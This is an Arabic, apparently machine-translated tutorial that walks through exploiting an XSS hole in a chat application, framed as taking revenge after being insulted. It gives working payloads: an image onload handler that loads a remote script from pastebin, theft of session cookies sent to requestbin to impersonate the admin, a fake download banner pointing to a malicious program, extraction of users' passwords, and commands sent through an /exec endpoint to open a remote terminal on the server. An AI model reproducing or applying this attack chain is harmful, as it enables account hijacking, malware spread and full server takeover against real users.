استغلال نقاط الضعف xss

توضح هذه المقالة استخدام الثغرات الأمنية xss:
- رمز السرقة
- سرقة البيئة
- تغييرات محتوى الموقع
- الوصول إلى نظام الاستضافة
قبل التاريخ

لذلك ، ذهبت إلى الدردشة ، لقد شعرت بالإهانة ، والآن تريد الانتقام. كما ترى من مربع الحوار ، يمكنك بسهولة إرسال html ، وهي فرصة مثالية لـ xss ، في الواقع من غير المحتمل أن تلاحظ مثل هذه الثغرة.
قم بتشغيل البرنامج النصي
لدينا دردشة مع القدرة على إرسال HTML. لذلك دعونا نتحقق من إمكانية xss console.log('XSS stage 0')
ولم تنجح.
ما هو الموضوع؟ يتجاهل Chromium و firefox البرامج النصية المضافة عبر innerHTML
.
حسنا حاول النهج الثاني
<img src="https://picsum.photos/200/200" onload="console.log('XSS')" />
XSS المعروضة في وحدة التحكم تعني أن الشفرة تعمل
الآن على pastebin سنقوم بإنشاء برنامج نصي سنلعب به
محتوى البرنامج النصي:
console.log('Script loaded')
لتشغيل البرنامج النصي في سمة onload ، اكتب:
s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)
وترسل الآن
<img src="https://picsum.photos/200/200" onload="s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)" />
سيقوم جميع المستلمين بعرض الصورة وتشغيل البرنامج النصي
روب ملفات تعريف الارتباط
مع تحميل البرنامج النصي ، اكتشفنا ذلك ، سنبدأ العملية الآن. أولاً ، يجب إرسال البيانات في مكان ما ، وسوف نستخدم requestbin
لكن إرسال النص نفسه ليس أمرًا مثيرًا للاهتمام ، فلنرسل ملفات تعريف الارتباط
تحتوي ملفات تعريف الارتباط على رموز لتحديد المستخدم.
في requestbin ، حصلنا على طلبين برمزين:
-1067197389
1679211939
منذ رمزي هو 1679211939
حتى المشرف رمزية -1067197389
استبدال الرمز المميز برمز المسؤول ، يمكننا الكتابة نيابة عنه
تغيير المحتوى
الكتابة كمسؤول ممتعة ، ولكن دعنا نغير محتوى الموقع قليلاً. إضافة مثل هذه الخطوط إلى برنامجنا الضار
let d = document.createElement('div') d.innerHTML = `<div style="position: fixed;top: 0;height: 20px;width: 100vw;color: white;text-align: center;background: purple;" onclick="document.location='/your_very_evil_program'">Download new appliction</div>` document.body.appendChild(d) document.getElementById('msgs').setAttribute('style', 'height: calc(100% - 60px);margin-top: 20px;')

بعد أن نرسل هذه الصورة نيابة عن المشرف ، سيتلقى جميع المستلمين لافتة والتي ، عند النقر عليها ، تؤدي إلى /your_very_evil_program
لدينا
سرقة البيئة
حان الوقت للوصول إلى لوحة المشرف. وبالتالي تحقق مما هو موجود في /admin
وهناك التقينا من قبل ACCESS DENIED. BURN IN FIRE
ACCESS DENIED. BURN IN FIRE
، حسنا ، استبدل رمز المسؤول في ملفات تعريف الارتباط. ومرة أخرى ، تم رفض الوصول ، مما يعني أن التفويض يحدث بطريقة أخرى. لذلك نحن نطلب لوحة المسؤول من الجهاز المسؤول.
أضف إلى السيناريو الشرير:
const admin = await (await fetch("/admin")).text()
ثم عند إرسال قيمة المسؤول إلى الجسم ، نحصل على /admin
البيانات
سوف نحصل على رمز المشرف
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>Admin</title> </head> <body> Hello admin<br /> <textarea id="users" rows="20" cols="100"></textarea><br /> <button id="updUsers">Update users</button><br /><br /> <script> let fetchUsrs = fetch("/users") .then(e => e.text()) .then(e => (document.getElementById("users").value = e)); document.getElementById("updUsers").onclick = () => { fetch("/users", { body: JSON.stringify({ data: document.getElementById("users").value.toString() }), headers: { Accept: "application/json, text/plain, */*", "Content-Type": "application/json" }, method: "POST" }).then(fetchUsrs); }; function toCmd(cmd) { document.location = "http://" + location.host + "/exec?cmd=" + encodeURIComponent(cmd); } </script> <button onclick="toCmd('free --human')">Check mem</button> <button onclick="toCmd('ps')">Show procs</button> </body> </html>
ما الذي يمكن تعلمه من هذا:
- هناك نقطة نهاية
/users
يعيدون ويقبلون المستخدمين - هل هناك نقطة النهاية
/exec?cmd
الذي يدير البرنامج
كلا نقطتي النهاية لا تتيح لنا الوصول. لذلك حاول سحب /users
{ "admin": "VerySecurePassword", "chiken": "COW+CHICKEN", "user001": "agent007", "justUser": "llkk", "test":"12" }
إذن لدينا الآن كلمة المرور وتسجيل الدخول لجميع مستخدمي النظام ، والآن نقوم بتسجيل الدخول تحت المشرف ، يمكننا الوصول إلى لوحة المشرف ، وفي ملفات تعريف الارتباط تظهر ملفات تعريف الارتباط فقط http التي تسمح بالوصول إليها
الحصول على الوصول إلى النظام
كما تتذكر ، لدينا نقطة نهاية تشغل الأمر ، لذا يمكننا الآن القيام بكل ما نريد ، لكن ليس من المناسب للغاية استخدامه ، لذلك سنشغل على الخادم
الآن تعيين /exec?cmd=npm%20i%20gritty%202%3E%261
وتشغيل /exec?cmd=node%20node_modules%2Fgritty%2Fbin%2Fgritty.js%20--port%208022
وفي المنفذ 8022 ، تصبح المحطة الطرفية متاحة لنا
XSS - خطير للغاية